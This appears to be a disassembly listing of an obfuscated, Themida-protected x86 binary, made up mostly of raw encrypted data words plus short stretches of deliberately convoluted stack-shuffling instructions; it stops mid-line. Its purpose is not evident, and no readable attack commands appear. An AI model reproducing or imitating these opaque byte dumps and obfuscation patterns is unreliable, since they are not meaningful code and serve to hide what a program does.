xchg ebp, [esp] mov esp, [esp] push 7A8Dh mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push 6496CB3h mov ebx, [esp] add esp, 4 push 3CA2h mov [esp], esp add dword ptr [esp], 4 pop edi push ebx pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_5445C2 ; --------------------------------------------------------------------------- dd 6A8C3297h, 85A7E9DDh, 20E95C42h, 1BB8C341h, 3064977h dd 0E8C38BC5h, 11h, 3FBE563Fh, 91F7EC08h, 0DC83E48Fh, 0AB1468CAh dd 0D8B70FBCh, 0AE85Eh, 0B36E0000h, 0F605BA3Dh, 22F37606h dd 10E9h, 2A4BA500h, 6CA8614Bh, 0C11C42C5h, 7E9BB8F0h dd 0C68159B3h, 689Bh, 0FE9h, 0EF58E00h, 1EAAA738h, 6F6E89A9h dd 4E084197h, 0E60791BFh, 6AC7815Fh, 8BA01A12h, 81D68B06h dd 880C1AE8h, 5DBB6608h, 8DC08181h, 813668CAh, 4B7ABAE8h dd 5090B16Eh, 28E0Fh, 7EB60000h, 5E9068Fh, 1F000000h, 0B24BADD6h dd 6604EE83h, 3BB0F281h, 0C0850F4Fh, 50FFFFFFh, 0BE957h dd 56830000h, 0DD87855Ah, 0FACA86A4h, 8D595944h, 4978F48Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0BF0C2751h, 37CE5484h, 0D85897Dh, 89064409h dd 442F5D8Dh, 0C7D08B06h, 44067985h, 632C06h, 0E3BB6600h dd 7185C7D3h, 64410h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8BEFC353h, 4431AD95h dd 0F5B5FF06h, 6A064430h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 152AC355h, 95FFD4DCh dd 6440BF9h, 2EC58509h, 6AFC0644h, 4D95FF00h, 8B06441Ch dd 0D12BEBC0h, 65F51FB5h, 33D67D9Ch, 1AAB0AD7h, 651212A1h dd 18B3DBF3h, 0D4ACB006h, 88E6D980h, 39E78E0Ch, 2D7A322Dh dd 0AC71B135h, 36E9E127h, 0F8000001h, 79ABB58Dh, 0BA600649h dd 0DEC8E22h, 11E9h, 0FE699400h, 3A747h, 9974702Fh, 0F4B48549h dd 0F61873Ch, 0A88h, 8B666000h, 4A5ABBC3h, 8D6149CBh, 4740A285h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 315ADA54h, 6001453Fh, 0FCC9B70Fh, 60D0FF61h dd 0C381D8B6h, 4058AA47h, 6660C361h, 7758DE81h, 6850Fh dd 8E0F0000h, 0 dd 0D98C6661h, 0C88B6060h, 61D2B70Fh, 0EDAB42B8h, 0C1F66143h dd 5F840F04h, 0E9000000h, 0Eh, 0CEAA37B5h, 92CD73ADh, 63052975h dd 66609C03h, 62B7D181h, 5E852h, 0E2E40000h, 58D2F207h dd 0FB8B615Fh, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h dd 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch dd 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5EC35242h dd 997FA6BFh, 0FE972h, 3EB0000h, 0BF6B5CA4h, 563A32EDh dd 872AAFC3h, 485C738h, 3F06497Ah, 0E8000101h, 0Dh, 0DBD695EDh dd 57ADA74h, 8CDD9FB6h, 11E9501Fh, 0BF000000h, 0CFD53D44h dd 7D52E271h, 5987417Ch, 52E8AF11h, 0EF815B58h, 55C6D378h dd 677AC381h, 94B00000h, 0C38BD22Bh, 811A34FFh, 81472FE8h dd 0B9665E6Ch, 0C6815A2Fh, 7BAD96C2h, 4850Fh, 0B9660000h dd 0F681527Bh, 141C99A6h, 10E8h, 0F54DBF00h, 0ECCDFD0Bh dd 0B416CA4Ah, 0A756E6CFh, 0AEE181A8h, 581AF665h, 2F44F681h dd 66607A44h, 0F53CA8Bh, 82h, 89615A00h, 0B70F1334h, 51DF81FEh dd 83409F10h, 4A4A01EAh, 0F830F4Ah, 0E9000000h, 0Ah, 0BA3DB36Eh dd 7606F605h, 0FA8122F3h, 0FFFF9948h, 0FF7A850Fh, 0F860FFFFh dd 0AC8594B9h, 0BE86173h, 49000000h, 2038934h, 0C5EAD713h dd 0BA667CF0h, 0BE5BECA4h, 9E365B8h, 7282C381h, 0CF810000h dd 2E8BC4ACh, 1C75B8h, 0E933FF00h, 10h, 1DA9EA33h, 0A5C5E17Ch dd 0AEBF3F5h, 0C820467h, 9FF18159h, 0B62EB6A0h, 9C181BCh dd 0F54F8ABFh, 0CE7AE981h, 89F512D2h, 0F98B660Bh, 3429EB81h dd 81F97EB2h, 0B23425C3h, 8170B67Eh, 1E8h, 1B850F00h, 0BE000000h dd 7B61F33Ch, 34E9h, 5E94AB00h, 0C7A47C0Ah, 9F7C932Bh dd 2E5D7803h, 5E950E3h, 0E7000000h, 0CC41F32Bh, 0FFFF88E9h dd 19B30AFFh, 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h dd 266E9A9h, 66600000h, 0C1F6D98Ch, 35840F04h, 6A000000h dd 7DB5FF01h, 8D06442Dh, 4777AF85h, 89D0FF06h, 4417C585h dd 0C1FE8B06h, 680CEFh, 6A200600h, 57026A00h, 1000D68h dd 0C595FF00h, 0E9064417h, 32h, 2E985C6h, 68560644h, 0A9C530DFh dd 17E9B5FFh, 858D0644h, 64777AFh, 8589D0FFh, 64408D1h dd 2B99858Dh, 6A500644h, 56056A40h, 8D195FFh, 0C3610644h dd 3 dup(0) dd 60D48B52h, 8908428Bh, 497C6E85h, 0C428B06h, 7C668589h dd 428B0649h, 6A858910h, 8D06497Ch, 497CA4B5h, 35858D06h dd 0FF005B7Eh, 0C25A61D0h, 0B58B000Ch, 6497C6Eh, 7C66858Bh dd 0BD830649h, 6497C6Ah, 7840F00h, 89000000h, 2E906h, 6880000h dd 0CFh, 0 dd 0D48B5200h, 8428B60h, 7C6E8589h, 0B58D0649h, 6497CF5h dd 7E35858Dh, 0D0FF005Bh, 858B5A61h, 6497C6Eh, 8B0004C2h dd 497C6E85h, 89008B06h, 497C6E85h, 0CF06h, 89600000h dd 497CCBB5h, 0C7858906h, 8D06497Ch, 4415A185h, 44408B06h dd 7D048589h, 0B58D0649h, 6497D3Ah, 7E35858Dh, 0D0FF005Bh dd 0CB858B61h, 0C306497Ch, 7CC79D8Bh, 0B70F0649h, 0D8033C43h dd 3785B8Bh, 497CC79Dh, 24738B06h, 7CC7B503h, 8B560649h dd 738B207Bh, 0C7BD031Ch, 306497Ch, 497CC7B5h, 0C983FC06h dd 9D8B41FFh, 6497CCBh, 9503178Bh, 6497CC7h, 8A04C783h dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h dd 85038604h, 6497CC7h, 7CCB8589h, 0F08B0649h, 0C18BCE8Bh dd 7D04BD81h, 649h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h dd 12E8C100h, 3FF825h, 4BD8B00h, 8306497Dh, 8B06070Ch dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 7D04BD81h, 649h dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h dd 4BD8100h, 6497Dh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h dd 0C0600000h, 0CF060883h, 7C72858Dh, 85890649h, 644191Dh dd 7D08858Dh, 85890649h, 6442DE5h, 7CCF858Dh, 85890649h dd 6441ADDh, 7F218D8Dh, 0BD0B0649h, 644147Dh, 2F5D8D89h dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0B8CA9C3h, 8BA15AAAh, 44311185h, 7985C706h dd 0BC064406h, 0B00006Dh, 441C11B5h, 7185C706h, 64410h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0C9C2C350h, 0E9352129h, 0Eh, 26119E84h dd 4EEEE8BBh, 8553517Ah, 858B05A6h, 6440AD1h, 196DB5FFh dd 95FF0644h, 6440BF9h, 39BD8950h, 5E06442Fh, 95FF006Ah dd 6441C4Dh, 6AEBC08Bh, 84E302B3h, 796D2728h, 6C5D56ECh dd 26EB7F28h, 0BAC3F3EDh, 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh dd 0B82D8FD0h, 0E88E07AEh, 39D52F4Bh, 910E2CA3h, 0BC936BA0h dd 750647E7h, 11B0F45h, 0E63FA03h, 0B200D03Eh, 9CEA1C7Dh dd 5FF3A918h, 0FBBCE79Bh, 9D788C7h, 0D220C422h, 7278D211h dd 0D0861AFEh, 786F8938h, 5E6934E9h, 4EBACC5h, 63F22312h dd 559E9h, 0CE6ED400h, 77ED5967h, 0DC80E0DEh, 66D64B75h dd 2D97F1CFh, 9E7EA684h, 2B15BC28h, 9FA108BCh, 2F11B824h dd 0E3A70EB6h, 15611887h, 3C6AC2E7h, 6ED64F8Eh, 0E55FC9F7h dd 5311724Ch, 0D58FF4CAh, 5212724Ch, 2FFB80CBh, 4AE361C2h dd 58B1102Eh, 0F29C0E8Ch, 347C5DAAh, 0CA3A970Ah, 9E446C49h dd 4869649Ah, 78D1F0D1h, 0F861DB46h, 7CE55FC6h, 0E75E6004h dd 0E44E357Dh, 34500C77h, 0BC5F1046h, 0BFF7284Ch, 9BB2816h dd 0D7490F90h, 1368C92Fh, 0F6C22207h, 7B7301F3h, 0C1000000h dd 9BB2B15h, 5E067F41h, 949F58C7h, 473CC930h, 0AC1A24DBh dd 0C880A138h, 0F4B386FEh, 1AF01h, 151D0000h, 942BEE71h dd 0BD9CC930h, 0C53409CFh, 0B9F1EE78h, 7FE01F87h, 0C92FE9BCh dd 7B5E2C0Dh, 0D2A79946h, 5F2D4968h, 8D73EF53h, 50700231h dd 59509032h, 6C52CB83h, 0EBD54CF8h, 5D1C8376h, 6EC92FD4h dd 0BCF76E4Fh, 86FE5BC7h, 0DC4977DEh, 5A31843Bh, 9EBF2ED8h dd 0D94F8537h, 0E496F26Bh, 6EC29456h, 0B38DC587h, 904BD453h dd 39C93072h, 0BEA03918h, 8AFC59C5h, 0D84D73DAh, 57CBF56Ch dd 0DF427CE5h, 6ADAE47Dh, 532863FAh, 493275C7h, 901C78DDh dd 95D901F4h, 6B000000h, 0F26BD94Fh, 883CA896h, 0DA82FEC0h dd 5A0A7D43h, 0C784FDC3h, 5AC3E25Ah, 0CE40FC64h, 8AC069B5h dd 0EC8FAE6Fh, 0D0B4FFDEh, 3A619A2h, 8FC7FA72h, 5BCD2AF4h dd 402440E9h, 0C15E067Eh, 0C92FB91Ah, 0AB198DB3h, 8AFCC28Ah dd 432743DAh, 2FB91DDCh, 0C78FAEC9h, 4DD488F9h, 40A5710Ah dd 1F3D6F4h, 4F01h, 0E75B6500h, 4F8F3D75h, 0CCF26BD9h dd 407EE755h, 0C7F960E4h, 627CE55Fh, 0C4200D19h, 304B2100h dd 3A9F09E6h, 209C07CCh, 20B998B9h, 3B892001h, 0F46DD74Fh dd 3094AD6Bh, 0AB770CC9h, 0F4B3DE46h, 31512301h, 186BB16Ah dd 1E4B4FCh, 56000000h, 0D69D34Fh, 9443F669h, 0A584C930h dd 23BA2A9Bh, 0B7D34A02h, 0FA2AD0C5h, 0EAA27B1Bh, 6CF56FD4h dd 56C36F14h, 0BFDB72EAh, 25BC2081h, 660A4C04h, 5D2F4B2Fh dd 1F820134h, 0CA5FCFBDh, 0B11B84CCh, 38CF741Dh, 27197D19h dd 0BB9A03C1h, 0EC057524h, 3F7756C2h, 0B92B98A6h, 0FB52E10h dd 5500996h, 561C2ECh, 681ACA3Bh, 0F92A6DB6h, 93E8A009h dd 8B39AA87h, 22A71C22h, 462203C1h, 0FE060778h, 0E53F2E42h dd 1E87CFEEh, 9801C320h, 0C431FD86h, 7A4CE55Fh, 0FBB0880Ah dd 1602Bh, 2B159900h, 4420ABAh, 0DA45216Ch, 0CF74C190h dd 5F61F8D9h, 0E9D77EE6h, 6F51C87Ch, 4DF751F6h, 8187F5D4h dd 0F5FEAD7Eh, 211F86A7h, 0BD831AC2h, 61059C48h, 0EC393BFEh dd 23AD8CC2h, 607ECE58h, 46780F1Bh, 0DEFF66DEh, 893BA896h dd 58AE1620h, 3D47FBB0h, 0F5000000h, 72169F37h, 30947EEDh dd 77EECFC9h, 31E87713h, 9AC93094h, 0AD6CF3BBh, 56C93094h dd 0D1EF76EEh, 3953CA72h, 0EA64D842h, 44D08591h, 9F0A95F1h dd 28C93094h, 0CE34A009h, 86000000h, 4B82B15h, 0B2F4BC9Dh dd 6CF3971Eh, 0CF74A112h, 0BC291773h, 2FB09108h, 0C2EC886Ch dd 3663A459h, 21574238h, 86B82100h, 300EA71Dh, 2F950ED3h dd 2FB697B6h, 0EBAD04B0h, 0D45E25C2h, 0EF46FE67h, 0E88C09A9h dd 0C477E88Ch, 4DC2EBACh, 231D6BD9h, 0A4851CC0h, 3552CD85h dd 0B6C9352Ch, 0A997F397h, 3B1A8339h, 22FCF5A4h, 0BB219EC9h dd 3DA4ECCDh, 0F7A23D59h, 0C2C922FCh, 22FD9E5Dh, 780E2FC9h dd 0B62F1159h, 8BEF970Eh, 76EF4DB5h, 0BA641F57h, 0A91F8D25h dd 0A283A23Bh, 59C6A2C6h, 0C922FDA2h, 29D04F2Bh, 0A2C922FDh dd 75EAA283h, 0CF6C7D54h, 9646BD83h, 0ED89A8DEh, 0AC631689h dd 5A64C2EBh, 0C1E079EBh, 0FC68DEE0h, 0A50C4465h, 129B3717h dd 0CE8D1276h, 0FFC93093h, 67FE66C1h, 4B2F6746h, 0BB1112Fh dd 64FBB392h, 0CF7A1443h, 5C38A180h, 7EE77E2Eh, 0F2CCCF3Dh dd 96B72E8Eh, 0C183E0DEh, 77ED5668h, 0F0E171EEh, 0EF5428A2h dd 6FD2EC75h, 453E54CDh, 532863D9h, 950E30C7h, 1E88B62Fh dd 3F1E3FA6h, 68DC4977h, 8BD7A5C1h, 138D9B7Dh, 5EC775EDh dd 28165E7Fh, 0AE9009BBh, 2C128B31h, 0A09E07B5h, 49029B41h dd 6C14E832h, 0B52E0B17h, 2B98A60Fh, 0BB420B9h, 6000000h dd 18BD2B15h, 5D1534A8h, 0D54FD765h, 63C0FE67h, 0DB4678E1h dd 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h, 5AC6F861h dd 0E1457BE2h, 68EDFA63h, 535Eh, 56241489h, 0C681E689h dd 4, 8704EE83h, 895C2434h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edi push ebp mov ebp, 0C821CF7h mov edi, ebp pop ebp mov ebx, 0ACB636Ch xor ebx, edi pop edi push esp mov edi, [esp] add esp, 4 push edx mov edx, 8 sub edx, 2F4B70F9h add edx, edi add edx, 2F4B70F9h mov [edx], ebx pop edx push dword ptr [esp] pop edi add esp, 4 mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5445C2 ; --------------------------------------------------------------------------- db 0C6h, 0DCh, 3Fh dd 1DEF3D06h, 0E98EB612h, 61B8B4F2h, 3064984h, 9FE0FFC5h dd 8B7A448Ah, 0AC40B83Dh, 8D0E8256h, 49860E8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 60FB01A3h, 6696D680h, 9A80E181h, 6E961h, 1D4A0000h dd 0A7CA855Fh, 2F5D8D89h, 6A0644h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 1AE488C3h, 0FCC28B66h dd 67985C7h, 68400644h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0C1BC55C3h, 0C98D8990h dd 0C7064430h, 44107185h, 6, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 4E1E89F9h dd 0B70F0FAAh, 1D9589C6h, 0FF06441Fh, 441C9DB5h, 0F99D8906h dd 0FF06441Dh, 440BF995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B58BFAB3h dd 6442C79h, 49E08166h, 0FF006ACAh, 441C4D95h, 0EBC08B06h dd 19D9DD4Fh, 9DAF6C8Ah, 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh dd 8FF5E9CBh, 50AF8978h, 1C1D0938h, 6F4F318Ah, 0E2868CAEh dd 0A597F3E1h, 275AA88Fh, 0E9FE33CFh, 0A5365842h, 153D0438h dd 0EA26CE95h, 2FE9958Eh, 0F48F2143h, 4DAE1E69h, 0E9EAB6Eh dd 13CE9h, 4Fh dup(0) dd 0A1BD8300h, 106442Dh, 516840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8A0F6DC3h dd 9, 0BB616060h, 1C58FFD9h, 0E985C661h, 43064402h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1CC35141h, 0EFE955E6h dd 60512A09h, 0BE9h, 6558A700h, 4D5ACE41h, 23720762h, 6AC08166h dd 0CE961CDh, 0EC000000h, 3988E994h, 0CEA69C18h, 0E8859DF1h dd 4, 0ECA5D0F5h, 8F0F5250h, 6, 820Fh, 310F0000h, 860F60h dd 8A000000h, 585A61CEh, 61606050h, 8B6130B2h, 0E9042444h dd 6, 0ABB93A57h, 8B7023h, 0CA8B6660h, 64F6BA66h, 24448961h dd 10E904h, 1D100000h, 3916199Dh, 32CB76AEh, 920A198h dd 0FC58B915h, 0E9B5FFF8h, 0E9064417h db 0Fh, 0 word_594F42 dw 0 ; DATA XREF: ___:off_4384A0o dd 0C175BA8Dh, 9633670Fh, 0FBD675F1h, 8DB40441h, 4777AF85h dd 0F516006h, 86h, 810F5B00h, 2, 0FF6123B5h, 9E9D0h, 319E0000h dd 37662C3Bh, 890C3D25h, 44299185h, 8E906h, 29F30000h dd 47BD643Bh, 840F737Ch, 19h, 14E9h, 96711B00h, 78D93A77h dd 2D63EF23h, 0F1C1004h, 59816F88h, 0E985C6BBh, 50064402h dd 13E9h, 0A404B100h, 33E2184Fh, 7B092EA3h, 39EA62Ch, 0E63B4369h dd 11E9h, 2831ED00h, 3F743E4Ah, 0FE7A6D2Eh, 0F343E152h dd 0EE687559h, 0E9488FB6h, 0Dh, 7B182EB0h, 0B83DF94Dh dd 0EBF114DEh, 24048140h, 601DF668h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 69C35747h, 9B2838B9h, 12E9CEh dd 4A9F0000h, 2043209Bh, 4992795Bh, 6FEC608h, 7C3611CEh dd 17E9B5FFh, 8E0F0644h, 16h, 11E9h, 180E1500h, 9B4E315Bh dd 58ACF4A4h, 0CD0A29F0h, 858D6CC3h, 64777AFh, 6AD0FFFCh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 89A3C353h, 441C7185h, 0E168FC06h, 0E9DEEA15h dd 0Ah, 84A84972h, 0CC4470DFh, 4817CFFh, 0A5924E24h, 0BE911h dd 7E430000h, 9C9CCEABh, 526E620Ah, 0E9B5FFB1h, 0F5064417h dd 0AF858DFCh, 60064777h, 605004B6h, 0FF615E61h, 8589F9D0h dd 6442FA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 5CC35242h, 0C6F53CB5h, 4402E985h, 810F5006h, 1 dd 13850FF9h, 0E9000000h, 0Eh, 2D6B5A14h, 3FF77A1Ch, 339F5CBh dd 0A26836F2h, 0F8222AEh, 0D86h, 8E900h, 0D1250000h, 6D6E9796h dd 48155BAh, 7A2DB424h, 0B5FFF815h, 6442D7Dh, 0B8A0Fh dd 6E90000h, 0F3000000h, 0AC7D8247h, 7E9B3h, 38EF0000h dd 0CBB0BB8Eh, 65858D24h, 0F06443Ah, 0C83h, 68D0F00h, 0F000000h dd 87h, 0F8D0FF00h, 0D718589h, 6A0644h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F2E701C3h dd 88522FF2h, 10E978h, 0DFB10000h, 10CED787h, 98C99366h dd 0F99127Eh, 0F8FC092Fh, 1B7E9h, 1A850F00h, 60000000h dd 0EE9h, 11242700h, 44B6684Ch, 3E8CA6BAh, 66719546h, 0C4ED181h dd 66609561h, 14E9D38Bh, 0B1000000h, 0EDD8464Bh, 20703B25h dd 0CC3C0BCEh, 0FDE4F1F7h, 61A2BC60h, 5E950h, 99420000h dd 9571BFDFh, 2870F60h, 51000000h, 0D98B665Bh, 0FEC8B61h dd 0C87h, 68B0F00h, 0F000000h, 81h, 0FCC48300h, 0E8F78B60h dd 8, 0DC4C2564h, 0FAF8A8FDh, 5ACEB70Fh, 0F606061h, 485h dd 29BB6600h, 0DABF0F11h, 0E861h, 815A0000h, 498BA8EAh dd 0FC45C706h, 0 dd 2DA1BA83h, 0F010644h, 9884h, 6A5200h, 92FF0F6Ah, 6442991h dd 6782895Ah, 8D064986h, 49866B9Ah, 3C75206h, 128h, 92FF5053h dd 6441C71h, 9A8D525Ah, 649866Bh, 67B2FF53h, 0FF064986h dd 440D7192h, 0C00B5A06h, 9A8D5074h, 649866Bh, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 49BA8D0Ch, 8B064426h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 44264982h, 92FF5006h, 6442FA1h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9D269BC0h, 0C860Fh, 7E90000h, 0AD000000h dd 66C33FBFh, 0E960B49Ch, 9, 0D65E8858h, 974AF39Eh, 3800FB2h dd 66000000h, 6061F18Bh, 10E95B51h, 22000000h, 3DCF511Eh dd 0BA8854BEh dword_595368 dd 0A683E6A2h, 613E3B3Bh, 112CD28Bh, 487DE9B5h, 0AC5BA5D9h ; DATA XREF: Themida_:00544911o dd 733DF12Ch, 374C0538h, 72FF7944h, 8754FF95h, 87B182D6h dd 26FF30A8h, 7A0747E3h, 8A722397h, 31BC1F84h, 1BF93F94h dd 5D3E3095h, 34F76295h, 178F3095h, 0BE9DF3CFh, 0B6E714C1h dd 2DF514D1h, 75F83095h, 2A6EF3C7h, 0BB343E82h, 0DEE1BB37h dd 378F335Dh, 0B430879Ah, 73D27928h, 0B3FE3093h, 37F830D7h dd 377C377Dh, 0D5792395h, 990E66CDh, 378F397Ch, 62957A95h dd 9A13CCA8h, 0DEAE3320h, 37F8330Dh, 0DF2F30FFh, 373E3096h dd 6CDC6BB5h, 33AB6C1Ch, 33E37414h, 37E3308Ch, 193263D6h dd 8470A362h, 0B2F1CC02h, 3177BC7Dh, 359D3F6Ch, 0BD8F3095h dd 8DA1A045h, 51B3E07Dh, 5D61CA1Eh, 34106295h, 177C3095h dd 0BE64F3CFh, 0B61B14C1h, 238B14D1h, 75C73095h, 0BAD4F3C7h dd 7E7DFA10h, 65F85A93h, 377C337Dh, 0F4641095h, 134BB9CFh dd 13CBB191h, 37C72491h, 0F4B17295h, 92BB1CEh, 678F18D9h dd 377C247Ch, 0C2F49395h, 44A288B7h, 0A8C717C8h, 0FA3A8EAh dd 0E8A34BB8h, 13F5B9C9h, 0DFA830FFh, 377C3096h, 6FFD68B5h dd 333B741Ch, 33AB7414h, 37C73089h, 0B02060D5h, 0A740E215h dd 0C850EA07h, 6AA6B1F3h, 36ABCF56h, 0CB197489h, 7536F01Eh dd 51C45B8Eh, 8A60C31Eh, 31B51058h, 0B4F14595h, 73771528h dd 2E4A3093h, 0F79463C5h, 378B4A2Dh, 0C242B995h, 0BAE57497h dd 71597F08h, 6C2BCF93h, 12C1B3CDh, 3738749Eh, 644F27E1h dd 378B4A2Dh, 0C242B995h, 0BAE57497h, 71540E08h, 6C2BCF93h dd 31FF3FCDh, 0B63E3095h, 0D05AB662h, 678F5ACAh, 37C7337Dh dd 0F4BB1095h, 13B5B9CDh, 13BCB191h, 377C2D91h, 0F46E7095h dd 9D243784h, 97838A7Fh, 8CA7DE09h, 0C8469D4h, 0FD7A56F4h dd 3792F01Eh, 377FD8C6h, 6C1E3095h, 6B966B56h, 730E34B1h dd 37DE34B1h, 64A03095h, 4FEE3256h, 5105E92Ch, 0AAF1CE1Eh dd 3177BC47h, 0DF4930FFh, 378F3096h, 69046EB5h, 33C7441Ch dd 33D57414h, 37F83081h, 2CBF66D3h, 0AD4B1F3h, 1D9ABD84h dd 5D8979ECh, 342F6595h, 17E33095h, 0BEACF3C8h, 0B6FC14F9h dd 2D7814D1h, 723E3095h, 4675F3C0h, 70BCF6A2h, 5D17CFD7h dd 340B6095h, 17F13095h, 0BEA0F3CDh, 0B67814D1h, 2F3A14D1h dd 771F3095h, 959FF3C5h, 516EC701h, 0F7E8E71Eh, 378FB49Ah dd 37923095h, 377FD8C6h, 6C1E3095h, 6B966B56h, 730E34B1h dd 37D134B1h, 64A03095h, 8AE06756h, 8E9EDE1Fh, 0AAF155DBh dd 317A7EC0h, 0DF4A30FFh, 378F3096h, 6A046DB5h, 33C75C1Ch dd 33D57414h, 37F8308Eh, 87BF65D0h, 0E49AE802h, 0B76CF52Ah dd 3437F24Ch, 8DC73095h, 55979192h, 0B697D36Ah, 0DF42157Ah dd 377C309Dh, 7A51B42Dh, 0F3D36BB0h, 378F3A7Ch, 102E6D95h dd 1829AD41h, 68713C0Fh, 0BB22AD18h, 0B61A36DCh, 0BA07B77Ch dd 7E661A10h, 7C66B193h, 0C8ADF046h, 3F673F45h, 38F13095h dd 37F8321Bh, 3C236395h, 6BBA3F55h, 661F3095h, 0AA026F60h dd 31837EC0h, 0AF22B1F3h, 37F0889Eh, 37923095h, 377FD8C3h dd 691E3095h, 43966E56h, 730E34B1h, 37D334B1h, 61A53095h dd 51A7A756h, 0C8A7C91Eh, 617C5A76h, 373E337Dh, 0F4411095h dd 13FBB9CBh, 1383B191h, 37E32D91h, 0F4A77695h, 3EC1FBC6h dd 2A76E999h, 0BAC7CA0Ah, 7E93EF08h, 7808E93h, 0B24A5B92h dd 31AA49BFh, 0DFA630FFh, 37F83096h, 68BF6FB5h, 331A4C1Ch dd 333B7414h, 378F3083h, 0DC0467D2h, 300A8064h, 85F13095h dd 581D72h, 80734E3Ah, 0B6EECF6Dh, 3EFD5544h, 0FE0E56F3h dd 0F7CC9732h, 37DDB49Ah, 0CD7A3095h, 79ADAD18h, 0B61A36D1h dd 389A294Bh, 371F3213h, 8F7FBB95h, 37C73096h, 925B56F5h dd 80E68F07h, 0C8996CCFh, 3779D976h, 9B5D3095h, 0DEEA978Ch dd 378F309Dh, 4BB3D537h, 4DF90A7Bh, 62F15AD6h, 37F8337Dh dd 0F4211095h, 1352B9C8h, 135BB191h, 378F2691h, 0F4927595h dd 387B942Ah, 8A7CFA22h, 31B1BC5Dh, 0A650BD18h, 4A8636DCh dd 4957BC9h, 73963510h, 0F6081B93h, 0AD18327Ch, 36DCBB22h dd 0B77CB61Ah, 1A10BA07h, 0B1937E66h, 0F0467C66h, 0E983C8ADh dd 8BA4F305h, 1A820FC0h, 0E8000000h, 13h, 0BDC699FBh, 0B830B4E1h dd 2739115Bh, 684C1124h, 0F9BA44B6h, 12E95Eh, 7F050000h dd 304B7BEEh, 0DC748509h, 0B156B805h, 0C0DF142Ch, 11E8C38Bh dd 4D000000h, 8B586D34h, 0B85D627h, 0A449C6EDh, 0AAE07272h dd 594EEE80h, 61DA8B60h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0BCDE50C3h, 0C1E53180h dd 66D3211Fh, 890FFA8Bh, 5, 0D6E78166h, 0CDBD8391h, 64420h dd 0BD830975h, 6440B25h, 50197400h, 0B8C08B53h, 47Ah, 22298589h dd 9D8D0644h, 646A8B6h, 585BD3FFh, 0B25BD83h, 74000644h dd 0B8535017h, 47Ah, 22298589h, 9D8D0644h, 646A557h, 585BD3FFh dd 0A1B109BAh, 77EF814Ch, 8B79A285h, 18D8DC0h, 6A064993h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 1A29C355h, 5D8D89D7h, 0E906442Fh, 0Ch, 244E307Ah dd 0E3E4EF8Eh, 1E6A4F86h, 67985C7h, 5BD40644h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 1AEE9CC3h, 32B532D6h, 7E81BD2h, 81000000h, 897B9476h dd 10E91838h, 0A0000000h, 5D8BFEC5h, 5DF4230Fh, 0D8EECA32h dd 58319D85h, 107185C7h, 644h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 34C536C3h dd 3E4396E5h, 0B5FF3F33h, 6441649h, 0B2539DBFh, 0F995FF10h dd 0F906440Bh, 95FF006Ah, 6441C4Dh, 2DEBC08Bh, 0AD42E34h dd 0E432BF8Ah, 9162904h, 0ACEDE973h, 15DCA483h, 6BEF5BFEh dd 